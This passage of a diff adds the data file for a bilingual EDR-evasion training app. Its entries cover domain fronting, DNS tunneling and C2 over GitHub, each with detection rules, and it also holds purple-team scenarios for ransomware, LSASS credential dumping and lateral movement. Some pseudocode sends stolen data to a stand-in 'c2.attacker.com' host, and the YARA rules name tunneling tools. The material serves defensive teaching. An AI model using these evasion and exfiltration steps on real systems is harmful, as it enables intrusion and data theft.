" exit() # no real user = sandbox"
|
| 1069 |
+
),
|
| 1070 |
+
"detection": {
|
| 1071 |
+
"en": "Monitor for cursor position enumeration, user activity queries, recent documents checks.",
|
| 1072 |
+
"fr": "Surveiller l\u2019\u00e9num\u00e9ration des positions du curseur, les requ\u00eates d\u2019activit\u00e9 utilisateur.",
|
| 1073 |
+
},
|
| 1074 |
+
"countermeasure": {
|
| 1075 |
+
"en": "Simulate user activity in sandboxes, populate recent documents, generate mouse movements.",
|
| 1076 |
+
"fr": "Simuler l\u2019activit\u00e9 utilisateur dans les sandboxes, peupler les documents r\u00e9cents, g\u00e9n\u00e9rer des mouvements de souris.",
|
| 1077 |
+
},
|
| 1078 |
+
"sysmon": "1",
|
| 1079 |
+
"kql": (
|
| 1080 |
+
"DeviceProcessEvents\n| where ProcessCommandLine has_any ('GetCursorPos','GetLastInputInfo')\n"
|
| 1081 |
+
"| project Timestamp, DeviceName, ProcessCommandLine"
|
| 1082 |
+
),
|
| 1083 |
+
"sigma": (
|
| 1084 |
+
"title: User Interaction Sandbox Check\nstatus: experimental\n"
|
| 1085 |
+
"logsource:\n product: windows\n category: process_creation\n"
|
| 1086 |
+
"detection:\n selection:\n CommandLine|contains:\n"
|
| 1087 |
+
" - 'GetCursorPos'\n - 'GetLastInputInfo'\n"
|
| 1088 |
+
" condition: selection\nlevel: low"
|
| 1089 |
+
),
|
| 1090 |
+
"yara": (
|
| 1091 |
+
"rule User_Interaction_Check {\n strings:\n"
|
| 1092 |
+
' $a = "GetCursorPos" ascii\n $b = "GetLastInputInfo" ascii\n'
|
| 1093 |
+
' $c = "GetForegroundWindow" ascii\n'
|
| 1094 |
+
" condition:\n 2 of them\n}"
|
| 1095 |
+
),
|
| 1096 |
+
"edr_config": {
|
| 1097 |
+
"en": "Deploy sandboxes with user simulation, create realistic desktop environment, automated mouse/keyboard input.",
|
| 1098 |
+
"fr": "D\u00e9ployer des sandboxes avec simulation utilisateur, cr\u00e9er un environnement bureau r\u00e9aliste.",
|
| 1099 |
+
},
|
| 1100 |
+
},
|
| 1101 |
+
# ---- Network Evasion ----
|
| 1102 |
+
{
|
| 1103 |
+
"id": "domain-fronting",
|
| 1104 |
+
"category": "Network Evasion",
|
| 1105 |
+
"name": {"en": "Domain Fronting", "fr": "Domain Fronting"},
|
| 1106 |
+
"difficulty": "Hard",
|
| 1107 |
+
"mitre": "T1090.004 - Proxy: Domain Fronting",
|
| 1108 |
+
"desc": {
|
| 1109 |
+
"en": "Routes C2 traffic through legitimate CDN domains, making the TLS SNI differ from the HTTP Host header.",
|
| 1110 |
+
"fr": "Achemine le trafic C2 via des domaines CDN l\u00e9gitimes, faisant diff\u00e9rer le SNI TLS de l\u2019en-t\u00eate Host HTTP.",
|
| 1111 |
+
},
|
| 1112 |
+
"pseudocode": (
|
| 1113 |
+
"# Educational pseudocode\n"
|
| 1114 |
+
"# TLS connection to legitimate CDN\n"
|
| 1115 |
+
"tls_connect('cdn.microsoft.com') # SNI = legitimate\n"
|
| 1116 |
+
"# But HTTP Host header points to C2\n"
|
| 1117 |
+
"http_request(Host='c2.attacker.com', path='/beacon')"
|
| 1118 |
+
),
|
| 1119 |
+
"detection": {
|
| 1120 |
+
"en": "Compare TLS SNI with HTTP Host header, detect CDN usage anomalies, JA3/JA3S fingerprinting.",
|
| 1121 |
+
"fr": "Comparer le SNI TLS avec l\u2019en-t\u00eate Host HTTP, d\u00e9tecter les anomalies CDN, empreintes JA3/JA3S.",
|
| 1122 |
+
},
|
| 1123 |
+
"countermeasure": {
|
| 1124 |
+
"en": "TLS inspection, SNI/Host header comparison, CDN policy enforcement, JA3 fingerprint monitoring.",
|
| 1125 |
+
"fr": "Inspection TLS, comparaison SNI/Host, application des politiques CDN, surveillance JA3.",
|
| 1126 |
+
},
|
| 1127 |
+
"sysmon": "3, 22",
|
| 1128 |
+
"kql": (
|
| 1129 |
+
"DeviceNetworkEvents\n| where RemoteUrl contains 'cdn'\n"
|
| 1130 |
+
"| where AdditionalFields contains 'SNI_mismatch'\n| project Timestamp, DeviceName, RemoteUrl"
|
| 1131 |
+
),
|
| 1132 |
+
"sigma": (
|
| 1133 |
+
"title: Potential Domain Fronting\nstatus: experimental\n"
|
| 1134 |
+
"logsource:\n product: proxy\n category: proxy\n"
|
| 1135 |
+
"detection:\n selection:\n c-uri-host|re: '.*cdn.*'\n"
|
| 1136 |
+
" condition: selection\nlevel: medium"
|
| 1137 |
+
),
|
| 1138 |
+
"yara": (
|
| 1139 |
+
"rule Domain_Fronting {\n strings:\n"
|
| 1140 |
+
' $cdn1 = "cloudfront.net" ascii\n $cdn2 = "azureedge.net" ascii\n'
|
| 1141 |
+
' $host = "Host:" ascii\n'
|
| 1142 |
+
" condition:\n any of ($cdn*) and $host\n}"
|
| 1143 |
+
),
|
| 1144 |
+
"edr_config": {
|
| 1145 |
+
"en": "Deploy TLS inspection, configure SNI monitoring, implement CDN usage policies, JA3 fingerprinting.",
|
| 1146 |
+
"fr": "D\u00e9ployer l\u2019inspection TLS, configurer la surveillance SNI, impl\u00e9menter des politiques CDN.",
|
| 1147 |
+
},
|
| 1148 |
+
},
|
| 1149 |
+
{
|
| 1150 |
+
"id": "dns-tunneling",
|
| 1151 |
+
"category": "Network Evasion",
|
| 1152 |
+
"name": {"en": "DNS Tunneling", "fr": "Tunnel DNS"},
|
| 1153 |
+
"difficulty": "Hard",
|
| 1154 |
+
"mitre": "T1071.004 - Application Layer Protocol: DNS",
|
| 1155 |
+
"desc": {
|
| 1156 |
+
"en": "Encodes C2 data in DNS queries/responses (TXT, CNAME records) to exfiltrate data through DNS.",
|
| 1157 |
+
"fr": "Encode les donn\u00e9es C2 dans les requ\u00eates/r\u00e9ponses DNS (enregistrements TXT, CNAME) pour exfiltrer via DNS.",
|
| 1158 |
+
},
|
| 1159 |
+
"pseudocode": (
|
| 1160 |
+
"# Educational pseudocode\n"
|
| 1161 |
+
"data = base64_encode(stolen_data)\n"
|
| 1162 |
+
"chunks = split(data, 63) # DNS label max length\n"
|
| 1163 |
+
"for chunk in chunks:\n"
|
| 1164 |
+
" dns_query(f'{chunk}.c2.attacker.com', type='TXT')"
|
| 1165 |
+
),
|
| 1166 |
+
"detection": {
|
| 1167 |
+
"en": "Monitor DNS query volume, entropy analysis, detect unusually long subdomains, TXT record frequency.",
|
| 1168 |
+
"fr": "Surveiller le volume de requ\u00eates DNS, analyse d\u2019entropie, d\u00e9tecter les sous-domaines longs.",
|
| 1169 |
+
},
|
| 1170 |
+
"countermeasure": {
|
| 1171 |
+
"en": "DNS query logging, entropy-based detection, restrict DNS resolvers, DNS over HTTPS monitoring.",
|
| 1172 |
+
"fr": "Journalisation DNS, d\u00e9tection par entropie, restreindre les r\u00e9solveurs DNS.",
|
| 1173 |
+
},
|
| 1174 |
+
"sysmon": "22",
|
| 1175 |
+
"kql": (
|
| 1176 |
+
"DeviceEvents\n| where ActionType == 'DnsQueryResponse'\n"
|
| 1177 |
+
"| where strlen(RemoteUrl) > 50\n| project Timestamp, DeviceName, RemoteUrl"
|
| 1178 |
+
),
|
| 1179 |
+
"sigma": (
|
| 1180 |
+
"title: DNS Tunneling Detection\nstatus: experimental\n"
|
| 1181 |
+
"logsource:\n product: dns\n category: dns\n"
|
| 1182 |
+
"detection:\n selection:\n query|re: '.{50,}\\..*'\n"
|
| 1183 |
+
" condition: selection\nlevel: high"
|
| 1184 |
+
),
|
| 1185 |
+
"yara": (
|
| 1186 |
+
"rule DNS_Tunneling {\n strings:\n"
|
| 1187 |
+
' $a = "iodine" ascii\n $b = "dnscat" ascii\n'
|
| 1188 |
+
' $c = "dns2tcp" ascii\n'
|
| 1189 |
+
" condition:\n any of them\n}"
|
| 1190 |
+
),
|
| 1191 |
+
"edr_config": {
|
| 1192 |
+
"en": "Enable DNS logging, deploy DNS analytics, restrict to internal resolvers, block DoH/DoT to external.",
|
| 1193 |
+
"fr": "Activer la journalisation DNS, d\u00e9ployer l\u2019analyse DNS, restreindre aux r\u00e9solveurs internes.",
|
| 1194 |
+
},
|
| 1195 |
+
},
|
| 1196 |
+
{
|
| 1197 |
+
"id": "c2-legitimate",
|
| 1198 |
+
"category": "Network Evasion",
|
| 1199 |
+
"name": {"en": "C2 over Legitimate Services", "fr": "C2 via Services L\u00e9gitimes"},
|
| 1200 |
+
"difficulty": "Hard",
|
| 1201 |
+
"mitre": "T1102 - Web Service",
|
| 1202 |
+
"desc": {
|
| 1203 |
+
"en": "Uses legitimate cloud services (Slack, Teams, OneDrive, GitHub) as C2 channels to blend with normal traffic.",
|
| 1204 |
+
"fr": "Utilise des services cloud l\u00e9gitimes (Slack, Teams, OneDrive, GitHub) comme canaux C2 pour se fondre dans le trafic normal.",
|
| 1205 |
+
},
|
| 1206 |
+
"pseudocode": (
|
| 1207 |
+
"# Educational pseudocode\n"
|
| 1208 |
+
"# Using GitHub Gist as C2 channel\n"
|
| 1209 |
+
"commands = github_api.get_gist(gist_id)\n"
|
| 1210 |
+
"result = execute(commands)\n"
|
| 1211 |
+
"github_api.update_gist(gist_id, result)"
|
| 1212 |
+
),
|
| 1213 |
+
"detection": {
|
| 1214 |
+
"en": "Anomalous API usage patterns, unusual data volumes to cloud services, beacon timing analysis.",
|
| 1215 |
+
"fr": "Sch\u00e9mas d\u2019utilisation API anormaux, volumes de donn\u00e9es inhabituels vers les services cloud.",
|
| 1216 |
+
},
|
| 1217 |
+
"countermeasure": {
|
| 1218 |
+
"en": "Cloud access security broker (CASB), API monitoring, behavioral analytics for cloud service usage.",
|
| 1219 |
+
"fr": "Courtier de s\u00e9curit\u00e9 d\u2019acc\u00e8s cloud (CASB), surveillance API, analytique comportementale.",
|
| 1220 |
+
},
|
| 1221 |
+
"sysmon": "3, 22",
|
| 1222 |
+
"kql": (
|
| 1223 |
+
"DeviceNetworkEvents\n| where RemoteUrl has_any ('github.com','slack.com','graph.microsoft.com')\n"
|
| 1224 |
+
"| summarize count() by DeviceName, RemoteUrl, bin(Timestamp, 1h)\n"
|
| 1225 |
+
"| where count_ > 100"
|
| 1226 |
+
),
|
| 1227 |
+
"sigma": (
|
| 1228 |
+
"title: C2 over Legitimate Service\nstatus: experimental\n"
|
| 1229 |
+
"logsource:\n product: proxy\n category: proxy\n"
|
| 1230 |
+
"detection:\n selection:\n c-uri-host|endswith:\n"
|
| 1231 |
+
" - 'api.github.com'\n - 'slack.com'\n"
|
| 1232 |
+
" condition: selection\nlevel: low"
|
| 1233 |
+
),
|
| 1234 |
+
"yara": (
|
| 1235 |
+
"rule C2_Legitimate_Service {\n strings:\n"
|
| 1236 |
+
' $a = "api.github.com" ascii\n $b = "hooks.slack.com" ascii\n'
|
| 1237 |
+
' $c = "graph.microsoft.com" ascii\n'
|
| 1238 |
+
" condition:\n any of them\n}"
|
| 1239 |
+
),
|
| 1240 |
+
"edr_config": {
|
| 1241 |
+
"en": "Deploy CASB, configure API usage monitoring, implement behavioral analytics, restrict service access.",
|
| 1242 |
+
"fr": "D\u00e9ployer un CASB, configurer la surveillance API, impl\u00e9menter l\u2019analytique comportementale.",
|
| 1243 |
+
},
|
| 1244 |
+
},
|
| 1245 |
+
]
|
| 1246 |
+
|
| 1247 |
+
# ---------------------------------------------------------------------------
|
| 1248 |
+
# Categories & helpers
|
| 1249 |
+
# ---------------------------------------------------------------------------
|
| 1250 |
+
CATEGORIES = sorted(set(tech["category"] for tech in TECHNIQUES))
|
| 1251 |
+
|
| 1252 |
+
|
| 1253 |
+
def get_technique_names(lang):
|
| 1254 |
+
return [tech["name"][lang] for tech in TECHNIQUES]
|
| 1255 |
+
|
| 1256 |
+
|
| 1257 |
+
def get_technique_by_name(name, lang):
|
| 1258 |
+
for tech in TECHNIQUES:
|
| 1259 |
+
if tech["name"][lang] == name:
|
| 1260 |
+
return tech
|
| 1261 |
+
return None
|
| 1262 |
+
|
| 1263 |
+
|
| 1264 |
+
def filter_techniques(category, difficulty, lang):
|
| 1265 |
+
results = TECHNIQUES
|
| 1266 |
+
if category and category != t("all", lang):
|
| 1267 |
+
results = [tech for tech in results if tech["category"] == category]
|
| 1268 |
+
if difficulty and difficulty != t("all", lang):
|
| 1269 |
+
diff_map = {v: k for k, v in DIFF_FR.items()}
|
| 1270 |
+
diff_en = diff_map.get(difficulty, difficulty)
|
| 1271 |
+
results = [tech for tech in results if tech["difficulty"] == diff_en]
|
| 1272 |
+
names = [tech["name"][lang] for tech in results]
|
| 1273 |
+
return names
|
| 1274 |
+
|
| 1275 |
+
|
| 1276 |
+
# ---------------------------------------------------------------------------
|
| 1277 |
+
# EDR Comparison data
|
| 1278 |
+
# ---------------------------------------------------------------------------
|
| 1279 |
+
EDR_SOLUTIONS = [
|
| 1280 |
+
{"name": "CrowdStrike Falcon", "prevention": 9.5, "detection": 9.5, "response": 9, "threat_hunting": 9.5, "mdr": 9},
|
| 1281 |
+
{"name": "SentinelOne Singularity", "prevention": 9, "detection": 9, "response": 9.5, "threat_hunting": 8.5, "mdr": 8.5},
|
| 1282 |
+
{"name": "Microsoft Defender XDR", "prevention": 8.5, "detection": 9, "response": 8.5, "threat_hunting": 9, "mdr": 8},
|
| 1283 |
+
{"name": "Palo Alto Cortex XDR", "prevention": 9, "detection": 9, "response": 8.5, "threat_hunting": 8.5, "mdr": 8},
|
| 1284 |
+
{"name": "VMware Carbon Black", "prevention": 8, "detection": 8.5, "response": 8, "threat_hunting": 8.5, "mdr": 7.5},
|
| 1285 |
+
{"name": "Elastic Security", "prevention": 8, "detection": 8.5, "response": 8, "threat_hunting": 9, "mdr": 7},
|
| 1286 |
+
{"name": "Cybereason", "prevention": 8.5, "detection": 8.5, "response": 8, "threat_hunting": 8, "mdr": 8.5},
|
| 1287 |
+
{"name": "Sophos Intercept X", "prevention": 8.5, "detection": 8, "response": 7.5, "threat_hunting": 7.5, "mdr": 8.5},
|
| 1288 |
+
{"name": "Trellix XDR", "prevention": 8, "detection": 8, "response": 7.5, "threat_hunting": 8, "mdr": 7.5},
|
| 1289 |
+
{"name": "FortiEDR", "prevention": 8, "detection": 7.5, "response": 8, "threat_hunting": 7, "mdr": 7},
|
| 1290 |
+
{"name": "ESET PROTECT", "prevention": 8, "detection": 7.5, "response": 7, "threat_hunting": 7, "mdr": 7},
|
| 1291 |
+
{"name": "Kaspersky EDR", "prevention": 8.5, "detection": 8, "response": 7.5, "threat_hunting": 7.5, "mdr": 7.5},
|
| 1292 |
+
]
|
| 1293 |
+
|
| 1294 |
+
CAPABILITIES = ["prevention", "detection", "response", "threat_hunting", "mdr"]
|
| 1295 |
+
CAP_LABELS = {
|
| 1296 |
+
"en": {"prevention": "Prevention", "detection": "Detection", "response": "Response", "threat_hunting": "Threat Hunting", "mdr": "MDR"},
|
| 1297 |
+
"fr": {"prevention": "Pr\u00e9vention", "detection": "D\u00e9tection", "response": "R\u00e9ponse", "threat_hunting": "Chasse aux menaces", "mdr": "MDR"},
|
| 1298 |
+
}
|
| 1299 |
+
|
| 1300 |
+
|
| 1301 |
+
def build_radar_chart(selected_edrs, lang):
|
| 1302 |
+
fig = go.Figure()
|
| 1303 |
+
labels = [CAP_LABELS[lang][c] for c in CAPABILITIES]
|
| 1304 |
+
for edr in EDR_SOLUTIONS:
|
| 1305 |
+
if edr["name"] in selected_edrs:
|
| 1306 |
+
values = [edr[c] for c in CAPABILITIES]
|
| 1307 |
+
values.append(values[0]) # close the polygon
|
| 1308 |
+
fig.add_trace(go.Scatterpolar(
|
| 1309 |
+
r=values,
|
| 1310 |
+
theta=labels + [labels[0]],
|
| 1311 |
+
fill="toself",
|
| 1312 |
+
name=edr["name"],
|
| 1313 |
+
))
|
| 1314 |
+
fig.update_layout(
|
| 1315 |
+
polar=dict(radialaxis=dict(visible=True, range=[0, 10])),
|
| 1316 |
+
showlegend=True,
|
| 1317 |
+
title=t("tab_comparison", lang),
|
| 1318 |
+
template="plotly_dark",
|
| 1319 |
+
height=550,
|
| 1320 |
+
)
|
| 1321 |
+
return fig
|
| 1322 |
+
|
| 1323 |
+
|
| 1324 |
+
# ---------------------------------------------------------------------------
|
| 1325 |
+
# Attack Simulation Scenarios
|
| 1326 |
+
# ---------------------------------------------------------------------------
|
| 1327 |
+
SCENARIOS = {
|
| 1328 |
+
"Ransomware Deployment": {
|
| 1329 |
+
"name": {"en": "Ransomware Deployment", "fr": "D\u00e9ploiement de Ransomware"},
|
| 1330 |
+
"techniques": ["AMSI Bypass", "NTDLL Unhooking", "Shellcode Injection", "Certutil Download"],
|
| 1331 |
+
"gaps": {
|
| 1332 |
+
"en": [
|
| 1333 |
+
"Memory-only payload execution without disk write",
|
| 1334 |
+
"Credential harvesting before encryption",
|
| 1335 |
+
"Volume Shadow Copy deletion detection",
|
| 1336 |
+
"Lateral movement via SMB/WMI",
|
| 1337 |
+
],
|
| 1338 |
+
"fr": [
|
| 1339 |
+
"Ex\u00e9cution de payload en m\u00e9moire sans \u00e9criture disque",
|
| 1340 |
+
"R\u00e9colte de credentials avant chiffrement",
|
| 1341 |
+
"D\u00e9tection de suppression de Volume Shadow Copy",
|
| 1342 |
+
"Mouvement lat\u00e9ral via SMB/WMI",
|
| 1343 |
+
],
|
| 1344 |
+
},
|
| 1345 |
+
"purple_team": {
|
| 1346 |
+
"en": [
|
| 1347 |
+
"1. Initial access via phishing with macro-enabled document",
|
| 1348 |
+
"2. AMSI bypass to run PowerShell loader",
|
| 1349 |
+
"3. Unhook ntdll to avoid API monitoring",
|
| 1350 |
+
"4. Inject shellcode into legitimate process",
|
| 1351 |
+
"5. Enumerate network shares and domain controllers",
|
| 1352 |
+
"6. Deploy ransomware binary via PsExec/WMI",
|
| 1353 |
+
"7. Delete shadow copies and encrypt files",
|
| 1354 |
+
],
|
| 1355 |
+
"fr": [
|
| 1356 |
+
"1. Acc\u00e8s initial via hame\u00e7onnage avec document macro",
|
| 1357 |
+
"2. Contournement AMSI pour charger PowerShell",
|
| 1358 |
+
"3. D\u00e9crochage ntdll pour \u00e9viter la surveillance API",
|
| 1359 |
+
"4. Injection de shellcode dans un processus l\u00e9gitime",
|
| 1360 |
+
"5. \u00c9num\u00e9ration des partages r\u00e9seau et contr\u00f4leurs de domaine",
|
| 1361 |
+
"6. D\u00e9ploiement du binaire ransomware via PsExec/WMI",
|
| 1362 |
+
"7. Suppression des clich\u00e9s instantan\u00e9s et chiffrement",
|
| 1363 |
+
],
|
| 1364 |
+
},
|
| 1365 |
+
"alerts": {
|
| 1366 |
+
"en": [
|
| 1367 |
+
"AMSI tampering detected",
|
| 1368 |
+
"Suspicious process injection (Sysmon ID 8/10)",
|
| 1369 |
+
"Mass file modification detected",
|
| 1370 |
+
"Shadow copy deletion (vssadmin/wmic)",
|
| 1371 |
+
"Lateral movement via PsExec",
|
| 1372 |
+
],
|
| 1373 |
+
"fr": [
|
| 1374 |
+
"Falsification AMSI d\u00e9tect\u00e9e",
|
| 1375 |
+
"Injection de processus suspecte (Sysmon ID 8/10)",
|
| 1376 |
+
"Modification massive de fichiers d\u00e9tect\u00e9e",
|
| 1377 |
+
"Suppression de clich\u00e9s instantan\u00e9s (vssadmin/wmic)",
|
| 1378 |
+
"Mouvement lat\u00e9ral via PsExec",
|
| 1379 |
+
],
|
| 1380 |
+
},
|
| 1381 |
+
},
|
| 1382 |
+
"Credential Theft": {
|
| 1383 |
+
"name": {"en": "Credential Theft", "fr": "Vol de Credentials"},
|
| 1384 |
+
"techniques": ["AMSI Bypass", "SysWhispers", "PPL Bypass", "Module Stomping"],
|
| 1385 |
+
"gaps": {
|
| 1386 |
+
"en": [
|
| 1387 |
+
"LSASS memory access via direct syscalls",
|
| 1388 |
+
"Credential dumping from SAM/SECURITY hives",
|
| 1389 |
+
"Kerberoasting detection",
|
| 1390 |
+
"DCSync attack detection",
|
| 1391 |
+
],
|
| 1392 |
+
"fr": [
|
| 1393 |
+
"Acc\u00e8s m\u00e9moire LSASS via syscalls directs",
|
| 1394 |
+
"Extraction de credentials depuis SAM/SECURITY",
|
| 1395 |
+
"D\u00e9tection de Kerberoasting",
|
| 1396 |
+
"D\u00e9tection d\u2019attaque DCSync",
|
| 1397 |
+
],
|
| 1398 |
+
},
|
| 1399 |
+
"purple_team": {
|
| 1400 |
+
"en": [
|
| 1401 |
+
"1. Bypass AMSI for PowerShell execution",
|
| 1402 |
+
"2. Use SysWhispers to call NtOpenProcess on LSASS",
|
| 1403 |
+
"3. Bypass PPL protection on LSASS if enabled",
|
| 1404 |
+
"4. Dump credentials from LSASS memory",
|
| 1405 |
+
"5. Extract hashes from SAM database",
|
| 1406 |
+
"6. Perform Kerberoasting for service accounts",
|
| 1407 |
+
],
|
| 1408 |
+
"fr": [
|
| 1409 |
+
"1. Contourner AMSI pour PowerShell",
|
| 1410 |
+
"2. Utiliser SysWhispers pour NtOpenProcess sur LSASS",
|
| 1411 |
+
"3. Contourner la protection PPL de LSASS si activ\u00e9e",
|
| 1412 |
+
"4. Extraire les credentials de la m\u00e9moire LSASS",
|
| 1413 |
+
"5. Extraire les hachages de la base SAM",
|
| 1414 |
+
"6. R\u00e9aliser du Kerberoasting pour les comptes de service",
|
| 1415 |
+
],
|
| 1416 |
+
},
|
| 1417 |
+
"alerts": {
|
| 1418 |
+
"en": [
|
| 1419 |
+
"LSASS access from non-system process",
|
| 1420 |
+
"Suspicious Kerberos ticket requests",
|
| 1421 |
+
"SAM database access detected",
|
| 1422 |
+
"Direct syscall from non-ntdll region",
|
| 1423 |
+
],
|
| 1424 |
+
"fr": [
|
| 1425 |
+
"Acc\u00e8s LSASS depuis un processus non syst\u00e8me",
|
| 1426 |
+
"Requ\u00eates Kerberos suspectes",
|
| 1427 |
+
"Acc\u00e8s \u00e0 la base SAM d\u00e9tect\u00e9",
|
| 1428 |
+
"Syscall direct depuis une r\u00e9gion non ntdll",
|
| 1429 |
+
],
|
| 1430 |
+
},
|
| 1431 |
+
},
|
| 1432 |
+
"Lateral Movement": {
|
| 1433 |
+
"name": {"en": "Lateral Movement", "fr": "Mouvement Lat\u00e9ral"},
|
| 1434 |
+
"techniques": ["NTDLL Unhooking", "Shellcode Injection", "BITSAdmin Transfer", "ETW Patching"],
|
| 1435 |
+
"gaps": {
|
| 1436 |
+
"en": [
|
| 1437 |
+
"WMI-based lateral movement",
|
| 1438 |
+
"SMB relay attacks",
|
| 1439 |
+
"Pass-the-Hash/Ticket detection",
|
| 1440 |
+
"DCOM-based execution",
|
| 1441 |
+
],
|
| 1442 |
+
"fr": [
|
| 1443 |
+
"Mouvement lat\u00e9ral via WMI",
|
| 1444 |
+
"Attaques de relais SMB",
|
| 1445 |
+
"D\u00e9tection Pass-the-Hash/Ticket",
|
| 1446 |
+
"Ex\u00e9cution via DCOM",
|
| 1447 |
+
],
|
| 1448 |
+
},
|
| 1449 |
+
"purple_team": {
|
| 1450 |
+
"en": [
|
| 1451 |
+
"1. Patch ETW to blind telemetry",
|
| 1452 |
+
"2. Unhook ntdll to bypass API monitoring",
|
| 1453 |
+
"3. Use stolen credentials for WMI execution",
|
| 1454 |
+
"4. Deploy payload via BITS transfer",
|
| 1455 |
+
"5. Inject into remote process for persistence",
|
| 1456 |
+
"6. Repeat across multiple hosts",
|
| 1457 |
+
],
|
| 1458 |
+
"fr": [
|
| 1459 |
+
"1. Modifier ETW pour aveugler la t\u00e9l\u00e9m\u00e9trie",
|
| 1460 |
+
"2. D\u00e9crocher ntdll pour contourner la surveillance API",
|
| 1461 |
+
"3. Utiliser des credentials vol\u00e9s pour WMI",
|
| 1462 |
+
"4. D\u00e9ployer le payload via transfert BITS",
|
| 1463 |
+
"5. Injecter dans un processus distant pour la persistance",
|
| 1464 |
+
"6. R\u00e9p\u00e9ter sur plusieurs h\u00f4tes",
|
| 1465 |
+
],
|
| 1466 |
+
},
|
| 1467 |
+
"alerts": {
|
| 1468 |
+
"en": [
|
| 1469 |
+
"WMI remote execution detected",
|
| 1470 |
+
"Unusual SMB authentication patterns",
|
| 1471 |
+
"BITS job creation from command line",
|
| 1472 |
+
"ETW provider modification",
|
| 1473 |
+
],
|
| 1474 |
+
"fr": [
|
| 1475 |
+
"Ex\u00e9cution WMI distante d\u00e9tect\u00e9e",
|
| 1476 |
+
"Sch\u00e9mas d\u2019authentification SMB inhabituels",
|
| 1477 |
+
"Cr\u00e9ation de t\u00e2che BITS depuis la ligne de commande",
|
| 1478 |
+
"Modification du fournisseur ETW",
|
| 1479 |
+
],
|
| 1480 |
+
},
|
| 1481 |
+
},
|
| 1482 |
+
"Data Exfiltration": {
|
| 1483 |
+
"name": {"en": "Data Exfiltration", "fr": "Exfiltration de Donn\u00e9es"},
|
| 1484 |
+
"techniques": ["DNS Tunneling", "Domain Fronting", "C2 over Legitimate Services", "BITSAdmin Transfer"],
|
| 1485 |
+
"gaps": {
|
| 1486 |
+
"en": [
|
| 1487 |
+
"DNS tunneling with low-and-slow exfiltration",
|
| 1488 |
+
"Data staging in cloud services",
|
| 1489 |
+
"Encrypted channel detection",
|
| 1490 |
+
"Steganography-based exfiltration",
|
| 1491 |
+
],
|
| 1492 |
+
"fr": [
|
| 1493 |
+
"Tunnel DNS avec exfiltration lente",
|
| 1494 |
+
"Stockage temporaire dans les services cloud",
|
| 1495 |
+
"D\u00e9tection de canaux chiffr\u00e9s",
|
| 1496 |
+
"Exfiltration par st\u00e9ganographie",
|
| 1497 |
+
],
|
| 1498 |
+
},
|
| 1499 |
+
"purple_team": {
|
| 1500 |
+
"en": [
|
| 1501 |
+
"1. Stage data in temp directory",
|
| 1502 |
+
"2. Compress and encrypt data",
|
| 1503 |
+
"3. Exfiltrate via DNS tunneling (small payloads)",
|
| 1504 |
+
"4. Use domain fronting for larger transfers",
|
| 1505 |
+
"5. Leverage legitimate cloud storage APIs",
|
| 1506 |
+
"6. Clean up staging artifacts",
|
| 1507 |
+
],
|
| 1508 |
+
"fr": [
|
| 1509 |
+
"1. Stocker les donn\u00e9es dans un r\u00e9pertoire temporaire",
|
| 1510 |
+
"2. Compresser et chiffrer les donn\u00e9es",
|
| 1511 |
+
"3. Exfiltrer via tunnel DNS (petits payloads)",
|
| 1512 |
+
"4. Utiliser le domain fronting pour les gros transferts",
|
| 1513 |
+
"5. Exploiter les API de stockage cloud l\u00e9gitimes",
|
| 1514 |
+
"6. Nettoyer les artefacts temporaires",
|
| 1515 |
+
],
|
| 1516 |
+
},
|
| 1517 |
+
"alerts": {
|
| 1518 |
+
"en": [
|
| 1519 |
+
"High DNS query volume to single domain",
|
| 1520 |
+
"Large data transfer to cloud storage",
|
| 1521 |
+
"TLS SNI/Host header mismatch",
|
| 1522 |
+
"Unusual data compression activity",
|
| 1523 |
+
],
|
| 1524 |
+
"fr": [
|
| 1525 |
+
"Volume \u00e9lev\u00e9 de requ\u00eates DNS vers un seul domaine",
|
| 1526 |
+
"Transfert de donn\u00e9es volumineux vers le stockage cloud",
|
| 1527 |
+
"Incoh\u00e9rence SNI/Host TLS",
|
| 1528 |
+
"Activit\u00e9 de compression de donn\u00e9es inhabituelle",
|
| 1529 |
+
],
|
| 1530 |
+
},
|
| 1531 |
+
},
|
| 1532 |
+
"Persistence Establishment": {
|
| 1533 |
+
"name": {"en": "Persistence Establishment", "fr": "\u00c9tablissement de Persistance"},
|
| 1534 |
+
"techniques": ["MSBuild Execution", "CMSTP Bypass", "Regsvr32 (Squiblydoo)", "Module Stomping"],
|
| 1535 |
+
"gaps": {
|
| 1536 |
+
"en": [
|
| 1537 |
+
"Registry-based persistence detection",
|
| 1538 |
+
"Scheduled task abuse",
|
| 1539 |
+
"WMI event subscription persistence",
|
| 1540 |
+
"DLL search order hijacking",
|
| 1541 |
+
],
|
| 1542 |
+
"fr": [
|
| 1543 |
+
"D\u00e9tection de persistance par registre",
|
| 1544 |
+
"Abus de t\u00e2ches planifi\u00e9es",
|
| 1545 |
+
"Persistance par abonnement d\u2019\u00e9v\u00e9nements WMI",
|
| 1546 |
+
"D\u00e9tournement de l\u2019ordre de recherche DLL",
|
| 1547 |
+
],
|
| 1548 |
+
},
|
| 1549 |
+
"purple_team": {
|
| 1550 |
+
"en": [
|
| 1551 |
+
"1. Use MSBuild to compile and execute initial payload",
|
| 1552 |
+
"2. Establish WMI event subscription for persistence",
|
| 1553 |
+
"3. Create scheduled task with obfuscated command",
|
| 1554 |
+
"4. Use CMSTP for UAC bypass if needed",
|
| 1555 |
+
"5. Stomp legitimate module for stealth",
|
| 1556 |
+
"6. Verify persistence across reboots",
|
| 1557 |
+
],
|
| 1558 |
+
"fr": [
|
| 1559 |
+
"1. Utiliser MSBuild pour compiler et ex\u00e9cuter le payload initial",
|
| 1560 |
+
"2. \u00c9tablir un abonnement WMI pour la persistance",
|
| 1561 |
+
"3. Cr\u00e9er une t\u00e2che planifi\u00e9e avec commande obscurcie",
|
| 1562 |
+
"4. Utiliser CMSTP pour contourner l\u2019UAC si n\u00e9cessaire",
|
| 1563 |
+
"5. \u00c9craser un module l\u00e9gitime pour la furtivit\u00e9",
|
| 1564 |
+
"6. V\u00e9rifier la persistance apr\u00e8s red\u00e9marrage",
|
| 1565 |
+
],
|
| 1566 |
+
},
|
| 1567 |
+
"alerts": {
|
| 1568 |
+
"en": [
|
| 1569 |
+
"MSBuild execution outside development context",
|
| 1570 |
+
"WMI event subscription creation",
|
| 1571 |
+
"Suspicious scheduled task registration",
|
| 1572 |
+
"CMSTP execution with INF file",
|
| 1573 |
+
],
|
| 1574 |
+
"fr": [
|
| 1575 |
+
"Ex\u00e9cution MSBuild hors contexte de d\u00e9veloppement",
|
| 1576 |
+
"Cr\u00e9ation d\u2019abonnement WMI",
|
| 1577 |
+
"Enregistrement de t\u00e2che planifi\u00e9e suspecte",
|
| 1578 |
+
"Ex\u00e9cution CMSTP avec fichier INF",
|
